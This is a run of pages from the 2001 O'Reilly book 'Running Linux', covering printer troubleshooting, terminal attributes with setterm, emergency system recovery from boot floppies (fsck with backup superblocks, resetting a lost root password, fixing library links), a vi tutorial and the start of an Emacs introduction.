Note that if you find the optimal transfer rate for plain-text files, it is likely to be less efficient for graphics files, which are generally processed more slowly.

When you finish tuning your printing system, you may want to reset the printer abort flag to prevent the process from aborting on receipt of printer error:

tunelp -aoff

The tunelp utility will continue to be developed in subsequent releases of Linux. Check the manual page to see the capabilities of your release.

8.4.14. Printer System Troubleshooting

When you have a printer problem, first resort to lpc to generate a status report. The print daemons should be alive and well, and no error should be returned. You can also check the contents of the /var/spool/lpd/printername/status file and see if there is an error message from the printer stored there. Check the /var/log/lpd-errs file for any errors reported by lpd. If you are using Ghostscript, and its reporting features are active, use /sbin/pac on Ghostscript's log file to get a report that may reveal errors Ghostscript generated. (As long as Linux system accounting isn't available, you might as well use /var/log/lp-acct to store these reports. You'll have to make the file writable by all to do this.)

Look at that lpc status report again. Do files get to the print spool? Do they leave the spool? Are the necessary supporting files for lpd present (.seq, lock, and so on). If lpc status reported a printer named " : " there is a malformed /etc/printcap line; the last character on a continuation line must be the backslash, not a space or tab.

Sometimes the /etc/printcap file is set up wrong, and it makes lpd misroute a file. To test for that condition, prepare a file for print but save it to a file instead of spooling it to the printer. Examine the file. Is it in the form you expect? Try a couple of sanity checks:

  • If as root you send the file directly to the device (for example, cat filename.ps > /dev/lp1) does it print? If so, it means the problem lies in your software configuration, not in the hardware.

  • Can you view your PostScript file using Ghostview? If so, you know that the format of the file is correct but the printer or filter is not interpreting it properly.

If you are testing a text file, try preparing it and routing it to a display, passing it through a utility such as less, and examine the result. A custom filter can also misroute a file.

Sometimes it is difficult to figure out where a printing problem originates. Printer configuration problems can be masked (or introduced) by having defaults overridden, for example. You may have to start by looking at an individual user's printing habits and then work forward. Individual users can set environment variables in their shell startup files to specify the printer they want to use as a default, and the behavior of formatters and print filters. Default system values are often overridden by environment variables, and they in turn are overridden by option arguments passed to lpr on the command line or by another utility.

When a print job terminates abnormally, it may be necessary to clear the lock file for the spool before lpd will send another file to print from that spool (/var/spool/lpd/printername/lock). The lpd daemon creates the lock file and changes it on completion. You can use lpc to stop the print daemon and then clean up the spool before starting it again.

Some problems derive from the data-transfer process. A printer may drop characters or be unable to keep up with the data flow you are attempting to provide, especially if the printer is old and slow or if the cable is unusually long. One possible symptom of data-transfer problems is when the printer can handle plain text readily, but pauses and thrashes when trying to print graphic files. If you suspect some problem of this nature, try increasing the pause the system takes before attempting to resend data and slowing the wait loop. The tunelp utility lets you control this conveniently:

tunelp -t200 -w5
This command tells lpd to pause 2 seconds between attempts. The -w option sets the number of loops for the busy loop counter to read between strobe signals. Normally -w is set to 0. For more information on tunelp, see the section "Section 8.4.13, "Printer Optimization"."

If lpd never seems to run on your system, perhaps it isn't started up when the system boots. If this is the case, append a /etc/lpd line to the end of your /etc/rc.d/rc.local file. Most Linux distributions start lpd these days as part of the default installation.

Some problems may never occur unless you use another package that presents conflicts by attempting to address the same devices. For example, UUCP utilities address a serial port using a /dev/ttyS* device driver. However, UUCP is a daemon with greater privileges than lp, and (although it shouldn't) it can leave the device set with a privilege level lpd cannot write to.

The Linux distribution of the BSD print package is usually installed with lp group permissions. On traditional BSD print-management installations, lpd is owned by daemon and has daemon group privileges. (There's no special lp group to support printing.) If you think there are subtle problems relating to device access collisions by processes owned by different daemons, you can change all print utilities group privileges to daemon and, of course, change directory and file-access privileges as well. That would restore the traditional BSD configuration. A better solution would be to find the problem devices and change their ownership to lp, since UUCP will still be able to use devices lp owns. Be aware that a serial port address can be reached by a number of virtual devices linked to the actual device; you have to correctly set the ownership of the real port.

Occasionally, a user believes his print job is going to the "wrong" printer. This is usually an environment variable problem. Double-check your /etc/printcap, but also check the user's environment variables. For example, a user may have a GS_DEVICE variable set that Ghostscript uses as the default printer. If Ghostscript processing precedes nenscript processing, for example, the Ghostscript printer assignment could be passed to nenscript, overriding a NENSCRIPT or PRINTER device specification. This can also cause strange results if one parameter is overridden while others stay as before, so that, for example, a filter performs some special page layout for one printer, but the file goes to another.

Older PostScript printers may simply ignore ASCII files sent to them. If a user complains about disappearing output, maybe the file isn't getting passed through nenscript for PostScript encapsulation, or (very rarely) maybe nenscript was fooled into thinking it is already PostScript.

A multimode printer that knows when to switch modes (between PCL and plain text, for example) may still fail to eject the page and start the next file on the new page when one file of the same type is queued immediately following another of the same type. If this occurs, you can force the filter to add a formfeed at the end of each document (see the sample filter in the earlier section "Section 8.4.7, "Print Filters"") at the cost of sometimes printing unnecessary blank pages.

Parallel port printer addressing can be confusing. On an XT bus system, the first parallel port is addressed as /dev/lp0 at 0x3bc. On the usual ISA bus system, the first parallel port device is /dev/lp1 at 0x378, which is the second parallel port on an XT system (still the /dev/lp1 device). The usual second parallel port on an ISA bus system is /dev/lp2, as you would expect, at 0x278. However, there are some unusual configurations out there, such as systems with three parallel ports (if installed correctly these will be addressed as /dev/lp0, /dev/lp1, and /dev/lp2). IRQ assignments may also be unusual and present a problem if you are trying to set up interrupt-driven printing.

If all else fails, review the initial installation procedure, making sure the hardware is actually connected and functional by booting another operating system if possible, testing devices as root user, and so on.

Previous | Home | Next
8.3. Managing System Logs | Book Index | 8.5. Setting Terminal Attributes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Setting Terminal Attributes (Running Linux)

 Running LinuxSearch this book
Previous Next

8.5. Setting Terminal Attributes

setterm is a program that sets various characteristics of your terminal (say, each virtual console), such as the keyboard repeat rate, tab stops, and text colors.

Most people use this command to change the colors for each virtual console. In this way, you can tell which virtual console you're currently looking at based on the text color.

For example, to change the color of the current terminal to white text on a blue background, use the command:

$ setterm -foreground white -background blue

Some programs and actions cause the terminal attributes to be reset to their default values. In order to store the current set of attributes as the default, use:

$ setterm -store

setterm provides many options (most of which you will probably never use). See the setterm manual page or use setterm -help for more information.

Previous | Home | Next
8.4. Managing Print Services | Book Index | 8.6. What to Do in an Emergency
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What to Do in an Emergency (Running Linux)

 Running LinuxSearch this book
Previous Next

8.6. What to Do in an Emergency

It's not difficult to make a simple mistake as root that can cause real problems on your system, such as not being able to log in or losing important files. This is especially true for novice system administrators who are beginning to explore the system. Nearly all new system admins learn their lessons the hard way, by being forced to recover from a real emergency. In this section, we'll give you some hints about what to do when the inevitable happens.

You should always be aware of preventative measures that reduce the impact of such emergencies. For example, take backups of all important system files, if not the entire system. If you happen to have a Linux distribution on CD-ROM, the CD-ROM itself acts as a wonderful backup for most files (as long as you have a way to access the CD-ROM in a tight situation--more on this later). Backups are vital to recovering from many problems; don't let the many weeks of hard work configuring your Linux system go to waste.

Also, be sure to keep notes on your system configuration, such as your partition table entries, partition sizes and types, and filesystems. If you were to trash your partition table somehow, fixing the problem might be a simple matter of rerunning fdisk, but this only helps as long as you can remember what your partition table used to look like. (True story: one of the authors once did this by booting a blank floppy, and had no record of the partition table contents. Needless to say, some guesswork was necessary to restore the partition table to its previous state!)

Of course, for any of these measures to work, you'll need a way to boot the system and access your files, or recover from backups, in an emergency. This is best accomplished with an "emergency disk," or "root disk." Such a disk contains a small root filesystem with the basics required to run a Linux system from floppy--just the essential commands and system files, as well as tools to repair problems. Such a disk is used by booting a kernel from another floppy (see the section "Section 5.2.1, "Using a Boot Floppy"" in Chapter 5, "Essential System Management") and telling the kernel to use the emergency disk as the root filesystem.

Most distributions of Linux include such a boot/root floppy combination as the original installation floppies. The installation disks usually contain a small Linux system that can be used to install the software as well as perform basic system maintenance. Some systems include both the kernel and root filesystem on one floppy, but this severely limits the number of files that can be stored on the emergency disk. How useful these disks are as a maintenance tool depends on whether they contain the tools (such as fsck, fdisk, a small editor such as vi, and so on) necessary for problem recovery. Some distributions have such an elaborate installation process, the installation floppies don't have room for much else.

At any rate, you can create such a root floppy yourself. Being able to do this from scratch requires an intimate knowledge of what's required to boot and use a Linux system, and exactly what can be trimmed down and cut out. For example, you could dispose of the startup programs init, getty, and login, as long as you know how to rig things so that the kernel starts a shell on the console instead of using a real boot procedure. (One way to do this is to have /etc/init be a symbolic link to /sbin/bash, all on the floppy filesystem.)

While we can't cover all of the details here, the first step in creating an emergency floppy is to use mkfs to create a filesystem on a floppy (see the section "Section 6.1.4, "Creating Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices"). You then mount the floppy and place whatever files on it that you'll need, including appropriate entries in /dev (most of which can be copied from /dev on your hard drive root filesystem). You'll also need a boot floppy, which merely contains a kernel. The kernel should have its root device set to /dev/fd0, using rdev. This is covered in the section "Section 5.2.1, "Using a Boot Floppy"" in Chapter 5, "Essential System Management". You'll also have to decide if you want the root floppy filesystem loaded into a ramdisk (which can be set using rdev as well). If you have more than 4 MB of RAM, this is a good idea because it can free up the floppy drive to be used for, say, mounting another floppy containing additional tools. If you have two floppy drives, you can do this without using a ramdisk. If you feel that setting up an emergency floppy is too hard for you now after reading all this, you might also want to try some of the scripts available that do it for you. But whatever you do, be sure to try the emergency floppy before disaster happens!

At any rate, the best place to start is your installation floppies. If those floppies don't contain all of the tools you need, create a filesystem on a separate floppy and place the missing programs on it. If you load the root filesystem from floppy into a ramdisk, or have a second floppy drive, you can mount the other floppy to access your maintenance tools.

What tools do you need? In the following sections, we'll talk about common emergencies and how to recover from them; this should guide you to what programs would be required for various situations.

8.6.1. Repairing Filesystems

As discussed in the section "Section 6.1.5, "Checking and Repairing Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices", you can use fsck to recover from several kinds of filesystem corruption. Most of these filesystem problems are relatively minor, however, and can be repaired by booting your system in the usual way and running fsck from the hard drive. However, it is usually better to check and repair your root filesystem while it is unmounted. In this case, it's easier to run fsck from an emergency floppy.

There are no differences between running fsck from floppy and from the hard drive; the syntax is exactly the same as described earlier in the chapter. However, remember that fsck is usually a frontend to tools such as fsck.ext2. On other systems, you'll need to use e2fsck (for Second Extended Filesystems).

It is possible to corrupt a filesystem so that it cannot be mounted. This is usually the result of damage to the filesystem's superblock, which stores information about the filesystem as a whole. If the superblock is corrupted, the system won't be able to access the filesystem at all, and any attempt to mount it will fail (probably with an error to the effect of "can't read superblock").

Because of the importance of the superblock, the filesystem keeps backup copies of it at intervals on the filesystem. Second Extended Filesystems are divided into "block groups," where each group has, by default, 8192 blocks. Therefore, there are backup copies of the superblock at block offsets 8193, 16385 (that's 8192 × 2 + 1), 24577, and so on. If you use the ext2 filesystem, check that the filesystem has 8192-block groups with the following command:

dumpe2fs device | more
(Of course, this works only when the master superblock is intact.) This command will print a great deal of information about the filesystem, and you should see something like:
Blocks per group:         8192
If another offset is given, use it for computing offsets to the superblock copies, as mentioned earlier.

If you can't mount a filesystem because of superblock problems, chances are that fsck (or e2fsck) will fail as well. You can tell e2fsck to use one of the superblock copies, instead, to repair the filesystem. The command is:

e2fsck -f -b offset device
where offset is the block offset to a superblock copy; usually, this is 8193. The -f switch is used to force a check of the filesystem; when using superblock backups, the filesystem may appear "clean," in which case no check is needed. -f overrides this. For example, to repair the filesystem on /dev/hda2 with a bad superblock, we can say:
e2fsck -f -b 8193 /dev/hda2
Superblock copies save the day. The previous commands can be executed from an emergency floppy system and will hopefully allow you to mount your filesystems again.

8.6.2. Accessing Damaged Files

You might need to access the files on your hard-drive filesystems when booting from an emergency floppy. In order to do this, simply use the mount command as described in the section "Section 6.1.2, "Mounting Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices", mounting your filesystems under a directory such as /mnt. (This directory must exist on the root filesystem contained on the floppy.) For example:

mount -t ext2 /dev/hda2 /mnt
will allow us to access the files on the Second Extended filesystem stored on /dev/hda2 in the directory /mnt. You can then access the files directly and even execute programs from your hard-drive filesystems. For example, if you wish to execute vi from the hard drive, normally found in /usr/bin/vi, you would use the command:
/mnt/usr/bin/vi filename
You could even place subdirectories of /mnt on your path to make this easier.

Be sure to unmount your hard-drive filesystems before rebooting the system. If your emergency disks don't have the ability to do a clean shutdown, unmount your filesystems explicitly with umount, to be safe.

One problem that is easily fixed by doing this is forgetting the root password or trashing the contents of /etc/passwd. In either case, it might be impossible to log in to the system or su to root. To repair this problem, boot from your emergency disks, mount your root filesystem under /mnt, and edit /mnt/etc/passwd. (It might be a good idea to keep a backup copy of this file somewhere in case you delete it accidentally.) For example, to clear the root password altogether, change the entry for root to:

root::0:0:The root of all evil:/:/bin/bash
Now root will have no password; you can reboot the system from hard drive and use the passwd command to reset it.

Another common problem is corrupt links to system shared libraries. The shared library images in /lib are generally accessed through symbolic links, such as /lib/libc.so.5, which point to the actual library, /lib/libc.so.version. If this link is removed or is pointing to the wrong place, many commands on the system won't run. You can fix this problem by mounting your hard-drive filesystems and re-linking the library with a command such as:

cd /mnt/lib; ln -sf libc.so.5.4.47 libc.so.5
to force the libc.so.5 link to point to libc.so.5.4.47. Remember that symbolic links use the pathname given on the ln command line. For this reason, the command:
ln -sf /mnt/lib/libc.so.5.4.47 /mnt/lib/libc.so.5
won't do the right thing; libc.so.5 will point to /mnt/lib/libc.so.5.4.47. When you boot from the hard drive, /mnt/lib can't be accessed, and the library won't be located. The first command works because the symbolic link points to a file in the same directory.

8.6.3. Restoring Files from Backup

If you have deleted important system files, it might be necessary to restore backups while booting from an emergency disk. For this reason, it's important to be sure your emergency disk has the tools you need to restore backups; this includes programs such as tar and gzip, as well as the drivers necessary to access the backup device. For instance, if your backups are made using the floppy tape device driver, be sure that the ftape module and insmod command are available on your emergency disk. See the section "Section 7.5, "Loadable Device Drivers"" in Chapter 7, "Upgrading Software and the Kernel" for more about this.

All that's required to restore backups to your hard-drive filesystems is to mount those filesystems, as described earlier, and unpack the contents of the archives over those filesystems (using the appropriate tar and gzip commands, for example; see the section "Section 8.1, "Making Backups"") earlier in this chapter. Remember that every time you restore a backup you will be overwriting other system files; be sure you're doing everything correctly and not make the situation worse. With most archiving programs, you can extract individual files from the archive.

Likewise, if you want to use your original CD-ROM to restore files, be sure the kernel used on your emergency disks has the drivers necessary to access the CD-ROM drive. You can then mount the CD-ROM (remember the mount flags -r -t iso9660) and copy files from there.

The filesystems on your emergency disks should also contain important system files; if you have deleted one of these from your system, it's easy to copy the lost file from the emergency disk to your hard-drive filesystem.

Previous | Home | Next
8.5. Setting Terminal Attributes | Book Index | 9. Editors, Text Tools, Graphics, and Printing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Editors, Text Tools, Graphics, and Printing (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 9. Editors, Text Tools, Graphics, and Printing

Contents:

Editing Files Using vi
The Emacs Editor
Text and Document Processing
Graphics
Printing

In the next few chapters, we'll introduce a number of popular applications for Linux. We'll start here with text editing, which underlies nearly every activity on the system. (You need an editor to create a file of more than trivial size, whether it is a program to be compiled, a configuration file for your system, or a mail message to send to a friend.) On a related topic, we'll show you some text formatters that can make attractive documents and utilities that manage printing.

9.1. Editing Files Using vi

In this section, we're going to cover the use of the vi (pronounced "vee-eye") text editor. vi was the first real screen-based editor for Unix systems. It is also simple, small, and sleek. If you're a system administrator, learning vi can be invaluable; in many cases, larger editors, such as Emacs, won't be available in emergency situations (for instance, when booting Linux from a maintenance disk).

vi is based on the same principles as many other Unix applications: that each program should provide a small, specific function and be able to interact with other programs. For example, vi doesn't include its own spellchecker, or paragraph filler, but those features are provided by other programs that are easy to fire off from within vi. Therefore, vi itself is a bit limited, but is able to interact with other applications to provide virtually any functionality you might want.

At first, vi may appear to be somewhat complex and unwieldy. However, its single-letter commands are fast and powerful once you've learned them. In the next section, we're going to describe Emacs, a more flexible editor (really an integrated work environment) with an easier learning curve. Do keep in mind that knowing vi may be essential to you if you are in a situation where Emacs is not available, so we encourage you to learn the basics, as odd as they may seem. It should also be added that there are now a number of vi clones available that are much more comfortable to use than the original vi. These include vim (vi improved) and nvi (new vi). Chances are that your distribution has things set up so that when starting vi, you actually start one of those. We'll stick to the basics here, though so that you can use the information presented here no matter which version of vi you use. You can find coverage of the newer versions in the book Learning the vi Editor by Linda Lamb and Arnold Robbins.

9.1.1. Starting vi

Let's fire up vi and edit a file. The syntax for vi is:

vi filename
For example:
eggplant$ vi test
will edit the file test. Your screen should look like this:

~
~
~
~
~
"test" [New file]

The column of ~ characters indicates that you are at the end of the file.

9.1.2. Inserting Text and Moving Around

While using vi, at any one time you are in one of three modes of operation. These modes are known as command mode, edit mode, and ex mode.

After starting vi, you are in command mode. This mode allows you to use a number of (usually single-letter) commands to modify text, as we'll see soon. Text is actually inserted and modified within edit mode. To begin inserting text, press i (which will place you into edit mode) and begin typing:

Now is the time for all good men to come to the aid of the party.

~
~
~
~
~

While inserting text, you may type as many lines as you wish (pressing the Enter key after each, of course), and you may correct mistakes using the Backspace key. To end edit mode and return to command mode, press the Esc key).

While in command mode, you can use the arrow keys to move around the file. Alternatively, you may use h, j, k, and l, which move the cursor left, down, up, and right, respectively.

There are several ways to insert text other than using the i command. The a command (for "append") inserts text after the current cursor position. For example, use the left arrow key to move the cursor between the words good and men:

Now is the time for all good men to come to the aid of the party.

~
~
~
~
~

Press a, type wo, and then press Esc to return to command mode:

Now is the time for all good women to come to the aid of the party.

~
~
~
~
~

To open a line below the current one and begin inserting text, use the o command. Press o and type another line or two:

Now is the time for all good women to come to the aid of the party.
Afterwards, we'll go out for pizza and beer.

~
~
~
~

Remember that at any time you're either in command mode (where commands such as i, a, or o are valid) or in edit mode (where you're inserting text, followed by Esc to return to command mode). If you're not sure which mode you're in, press Esc. This takes you out of edit mode, if you are in it, and does nothing except beep if you're already in command mode.

9.1.3. Deleting Text and Undoing Changes

From command mode, the x command deletes the character under the cursor. If you press x five times, you end up with the following:

Now is the time for all good women to come to the aid of the party.
Afterwards, we'll go out for pizza and

~
~
~
~

Now press a and insert some text, followed by Esc:

Now is the time for all good women to come to the aid of the party.
Afterwards, we'll go out for pizza and Diet Coke.

~
~
~
~

You can delete entire lines using the command dd (that is, press d twice in a row). If your cursor is on the second line, dd will produce the following:

Now is the time for all good women to come to the aid of the party.
~
~
~
~
~

Text that is deleted may be reinserted using the p command (for "put"). Pressing p now will return the deleted line to the buffer after the current line. Using P (uppercase) instead will insert the text before the current line. By default, p and P insert text from the "undo buffer"; you can also yank and replace text from other buffers, as we'll see later.

The u command undoes the latest change (in this case, pressing u after dd is equivalent to p). If you inserted a large amount of text using the i command, pressing u immediately after returning to command mode would undo it.

To delete the word beneath the cursor, use the dw command. Place the cursor on the word Diet and type dw:

Now is the time for all good women to come to the aid of the party.
Afterwards, we'll go out for pizza and Coke.

~
~
~
~

9.1.4. Changing Text

You can replace text using the R command, which overwrites the text beginning at the cursor. Place the cursor on the first letter in pizza, press R, and type:

Now is the time for all good women to come to the aid of the party.
Afterwards, we'll go out for burgers and fries.

~
~
~
~

The r command replaces the single character under the cursor. r does not place you in insert mode per se, so there is no reason to use Esc to return to command mode.

The ~ command changes the case of the letter under the cursor from upper to lowercase, and vice versa. If you place the cursor on the o in Now in the previous example, and repeatedly press ~, you end up with the following:

NOW IS THE TIME FOR ALL GOOD WOMEN TO COME TO THE AID OF THE PARTY.

Afterwards, we'll go out for burgers and fries.
~
~
~
~
Another useful command for changing words is the cw command, which lets you simply type in the new word and--after pressing Ecs--removes anything that might be left over from the original word.

9.1.5. Moving Commands

You already know how to use the arrow keys to move around the document. In addition, the w command moves the cursor to the beginning of the next word; b moves it to the beginning of the current word. The 0 (that's a zero) command moves the cursor to the beginning of the current line, and the $ command moves it to the end of the line.

When editing large files, you'll want to move forward or backward through the file a screen at a time. Pressing Ctrl-F moves the cursor one screen. forward, and Ctrl-B moves it a screen backward.

In order to move the cursor to the end of the file, type G. You can also move to an arbitrary line: the command 10G would move the cursor to line 10 in the file. To move to the beginning of the file, use 1G.

Typing / followed by a pattern and the Enter key causes you to jump to the first occurrence of that pattern in the text following the cursor. For example, placing the cursor on the first line of text in our example, and typing /burg moves the cursor to the beginning of the word "burgers." Using ? instead of / searches backward through the file.

The pattern following a / or ? command is actually a regular expression. Regular expressions are a powerful way to specify patterns for search and replace operations and are used by many Unix utilites. (The manual page for ed describes regular expressions in some detail.) Using regular expressions, you could, for example, search for the next uppercase letter, using the command:

/[A-Z]
Therefore, if the pattern you're searching for is not a static string, regular expressions can be used to specify just what you want.

You can couple moving commands with other commands, such as deletion. For example, the command d$ will delete everything from the cursor to the end of the line; dG will delete everything from the cursor to the end of the file.

9.1.6. Saving Files and Quitting vi

Most of the commands dealing with files within vi are invoked from ex mode. You enter ex mode when you press the : key from command mode. This places the cursor on the last line of the display, allowing you to enter various extended commands.

For example, to write the file being edited, use the command :w. Typing : causes you to enter ex mode, and typing w followed by the Enter key completes the command. The command :wq writes the file and exits vi. (The command ZZ--from command mode, without the ":"--is equivalent to :wq.

To quit vi without saving changes to the file, use the command :q!. Using :q alone will quit vi, but only if modifications to the file have been saved. The ! in :q! means to quit vi--and that you really mean it.

9.1.7. Editing Another File

To edit another file, use the :e command. For example, to stop editing test, and edit the file foo instead, use the command shown at the bottom of the following box:

NOW IS THE TIME FOR ALL GOOD WOMEN TO COME TO THE AID OF THE PARTY.
Afterwards, we'll go out for burgers and fries.
~
~
~
~
:e foo

If you use :e without writing the file first, you'll get the error message:

No write since last change (:edit! overrides)
At this point, you can use :w to save the original file, and then use :e, or you can use the command :e! foo, which tells vi to edit the new file without saving changes to the original.

9.1.8. Including Other Files

If you use the :r command, you can include the contents of another file in the vi buffer. For example, the command:

:r foo.txt
inserts the contents of the file foo.txt after the current line.

9.1.9. Running Shell Commands

The :! command allows you to enter the name of a command, which is executed within vi. For example, the command:

:! ls -F
executes the ls command and displays the results on your screen.

The :r ! command is similar to :!, but includes the standard output of the command in the buffer. The command:

:r! ls -F
produces the following:
NOW IS THE TIME FOR ALL GOOD WOMEN TO COME TO THE AID OF THE PARTY.
Afterwards, we'll go out for burgers and fries.
letters/
misc/
papers/

~

If you need to execute a series of shell commands, it's often easier to use the suspend key (usually Ctrl-Z), provided you're using a shell that supports job control, such as tcsh or bash.

9.1.10. Global Searching and Replacing

There are many more features of vi than are documented here; most of these features are simply implemented through combinations of the simple features we've seen. Here are one or two other tidbits most vi users find useful.

The command:

:[x,y]s/pattern/replacement/flags
searches for pattern between lines x and y in the buffer, and replaces instances of pattern with the replacement text. pattern is a regular expression; replacement is literal text but can contain several special characters to refer to elements in the original pattern. The following command replaces the first occurrence of weeble with wobble on lines 1 through 10 inclusive:
:1,10s/weeble/wobble

Instead of giving line-number specification, you can use the % symbol to refer to the entire file. Other special symbols can be used in place of x and y. $ refers to the last line of the file. Leave x or y blank to refer to the current line.

Among the flags you can use are g to replace all instances of pattern on each line, and c to ask for confirmation for each replacement. In most instances, you will want to use the g flag, unless you want to replace only the first occurrence of pattern on each line.

You can also use marks to refer to lines. Marks are just single-letter names that are given to cursor locations within the document. Moving the cursor to a location in the file and typing ma will set the mark a at that point. (Marks may be named any of the letters a-z or A-Z.) You can move the cursor directly to the mark a with the command `a (with a backquote). Using a regular single quote (as in 'a) will move the cursor to the beginning of the line that the mark a is on.

Marks allow you to "remember" cursor locations that denote a region of text. For example, if you want to search and replace a block of text, you can move the cursor to the beginning of the text, set a mark, move the cursor to the end of the text, and use the command:

:`a,.s/weeble/wobble
where `a refers to the line containing mark a, and . refers to the current line.

9.1.11. Moving Text, and Using Registers

One way to copy and move text is to delete it (using the d or dd commands) and then replace it with the P command, as described earlier. For example, if you want to delete the 10 lines, starting with the line that contains the cursor, and paste them somewhere else, just use the command 10dd (to delete 10 lines), move the cursor to the new location for the text, and type p. You can copy text in this way as well: typing 10dd followed by P (at the same cursor location) deletes the text and immediately replaces it. You can then paste the text elsewhere by moving the cursor and using p multiple times.

Similar to dd is the yy command, which "yanks" text without deleting it. You use p to paste the yanked text as with dd. The deletion and yank commands can be used on more general regions than lines. Recall that the d command deletes text through a move command; for example, d$ deletes text from the cursor to the end of the line. Similarly, y$ yanks text from the cursor to the end of the line.

Let's say you want to yank (or delete) a region of text. This can be done with marks as well. Move the cursor to the beginning of the text to be yanked and set a mark, as in ma. Move the cursor to the end of the text to be yanked and use the command y`a. This yanks text from the cursor position to the mark a. (Remember that the command `a moves the cursor to the mark a.) Using d instead of y deletes the text from the cursor to the mark.

The most convenient way to cut, copy, and paste portions of text within vi is to use registers. A register is just a named temporary storage space for text you wish to copy between locations, cut and paste within the document, and so forth.

Registers are given single letter names; any of the characters a-z or A-Z are valid. The " command (a quotation mark) specifies a register; it is followed by the name of the register, as in "a for register a. The lower-case letters and their upper-case counterparts refer to the same registers: using the lower-case letter overwrites the previous contents of the register and using the upper-case letter appends to it.

For instance, if we move the cursor to the first line in our example:

NOW IS THE TIME FOR ALL GOOD WOMEN TO COME TO THE AID OF THE PARTY.
Afterwards, we'll go out for burgers and fries.
~
~
~
~

and use the command "ayy, the current line is yanked into the register a. We can then move the cursor to the second line, and use the command "ap to paste the text from register a after the current line:

NOW IS THE TIME FOR ALL GOOD WOMEN TO COME TO THE AID OF THE PARTY.
Afterwards, we'll go out for burgers and fries.
NOW IS THE TIME FOR ALL GOOD WOMEN TO COME TO THE AID OF THE PARTY.
~
~
~

Similarly, the command "ay`a yanks text from the cursor to mark a into register a. Note that there is no correspondence between mark and register names!

Using registers allows you copy text between files. Just copy the text to a register, use the :e command to edit a new file and paste the text from the register.

9.1.12. Extending vi

vi is extensible in many ways. Most of the commands we've introduced can be generalized to arbitrary regions of text. As we've already seen, commands such as d and y operate on the text from the cursor to a move operation, such as $ or G. (dG deletes text from the cursor to the end of the file.) Many other commands operate on text through a move command in the same way. Using marks you can operate on any region of text.

As we mentioned before, vi is just a text editor; it doesn't have facilities for spellchecking text, compiling programs, and other such features. However, vi executes other programs, which you can use to extend the editor. The command:

:x,y!command
executes the named command with the text on lines x through y as standard input, and replaces the lines with the standard output of the command. As with the s (search and replace) command, other specifications such as % and $ can be used for the line numbers.

For example, let's say you want to prepend a quote character (>) to all of the lines in a region of text. One way to do this is to write a short shell or Perl script (see Chapter 13, "Programming Languages") that reads lines of input and outputs those same lines with the quote character prepended. (Or use a sed command; there are many alternatives.) You can then send lines of text through this filter, which replaces them with the quoted text within vi. If the script is called quote just use a command such as

:`a,.!quote
which quotes the region of text between the cursor location and the mark a.

Be familiar with the various ex commands that are available. The :set command allows you to set various options; for example, :set ai turns on auto indentation of text. (:set noai turns it off.)

You can specify ex commands (such as :set) to execute when starting up vi in the file .exrc in your home directory. (The name of this file can be changed with the EXINIT environment variable.) For example, your .exrc file might contain:

set ai
to turn on autoindentation. You don't need the : before ex commands in this file.

There are a number of good tutorials and references for vi available--both online as well as in print. Learning the vi Editor is a good place to look for more information. If you have Internet access, the comp.editors archives for vi contain a number of reference and tutorial documents, as well as interesting vi hacks. ftp://alf.uib.no: /pub/vi is the archive home site; it is mirrored at cs.uwp.edu and elsewhere.

Previous | Home | Next
8.6. What to Do in an Emergency | Book Index | 9.2. The Emacs Editor
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Emacs Editor (Running Linux)

 Running LinuxSearch this book
Previous Next

9.2. The Emacs Editor

Text editors are among the most important applications in the Unix world. They are used so often that many people spend more time within an editor than anywhere else on their Unix system. The same holds true for Linux.

The choice of an editor can be a religious one. Many editors exist, but the Unix community has arranged itself into two major groups: the Emacs camp and the vi camp. Because of its somewhat nonintuitive user interface, many people (newcomers and seasoned users alike) prefer Emacs over vi. However, long-time users of vi (and single-finger typists) use it more efficiently than a more complex editor such as Emacs.

If vi is one end of the text-editor spectrum, Emacs is the other; they are widely different in their design and philosophy. Emacs is partly the brainchild of Richard Stallman, founder of the Free Software Foundation and author of much of the GNU software.

Emacs is a very large system with more features than any single Unix application to date (some people would even go so far as not to call it an editor but an "integrated environment"). It contains its own LISP language engine you can use to write extensions for the editor. (Many of the functions within Emacs are written in Emacs LISP). Emacs includes extensions for everything from compiling and debugging programs to reading and sending electronic mail to X Window System support and more. Emacs also includes its own online tutorial and documentation. The book Learning GNU Emacs by Debra Cameron, Bill Rosenblatt, and Eric Raymond, is a popular guide to the editor.

Most Linux distributions include two variants of Emacs. GNU Emacs is the original version, which is still being developed, but development seems to have slowed down. XEmacs is larger, slightly slower, but much more user-friendly and better integrated with the X Window System (even though you can also use it from the command line, despite its name). If you are not tight on memory and have a reasonably fast computer, we suggest using XEmacs. We will not cover the differences here, though; the discussion in this section applies to both.

9.2.1. Firing It Up

GNU Emacs is simply invoked as:

$ emacs options
likewise, XEmacs is invoked as
$ xemacs options
Most of the time, you don't need options. You can specify filenames on the command line, but it's more straightforward to read them in after starting the program.

In Emacs lingo, C-x means Ctrl-X, and M-p is equivalent to Alt-P. As you might guess, C-M-p means Ctrl-Alt-P.

Using these conventions, press C-x followed by C-f to read in a file or create a new one. The keystrokes display a prompt at the bottom of your screen showing your current working directory. You can create a buffer now to hold what will end up to be the content of a new file; let's call the file wibble.txt. We now see the following:

-----Emacs: wibble.txt           (Fundamental)----All-------------------

The mode line at the bottom indicates the name of the file as well as the type of buffer you're in (which here is Fundamental). Emacs supports many kinds of editing modes; Fundamental is the default for plain-text files, but other modes exist for editing C and TeX source, modifying directories, and so on. Each mode has certain key bindings and commands associated with it, as we'll see soon. Emacs typically determines the mode of the buffer based on the filename extension.

To the right of the buffer type is the word All, which means that you are currently looking at the entire file (which is empty). Typically, you will see a percentage, which represents how far into the file you are.

If you're running Emacs under the X Window System, a new window will be created for the editor with a menu bar at the top, scrollbars, and other goodies. In the section "Section 11.4.7, "Emacs"," in Chapter 11, "Customizing Your X Environment", we discuss Emacs's special features when used within X.

9.2.2. Simple Editing Commands

Emacs is more straightforward than vi when it comes to basic text editing. The arrow keys should move the cursor around the buffer; if they don't (in case Emacs is not configured for your terminal), use the keys C-p (previous line), C-n (next line), C-f (forward character), and C-b (backward character).

If you find using the Alt key uncomfortable, press Esc and then p. Pressing and releasing Esc is equivalent to holding down Alt.

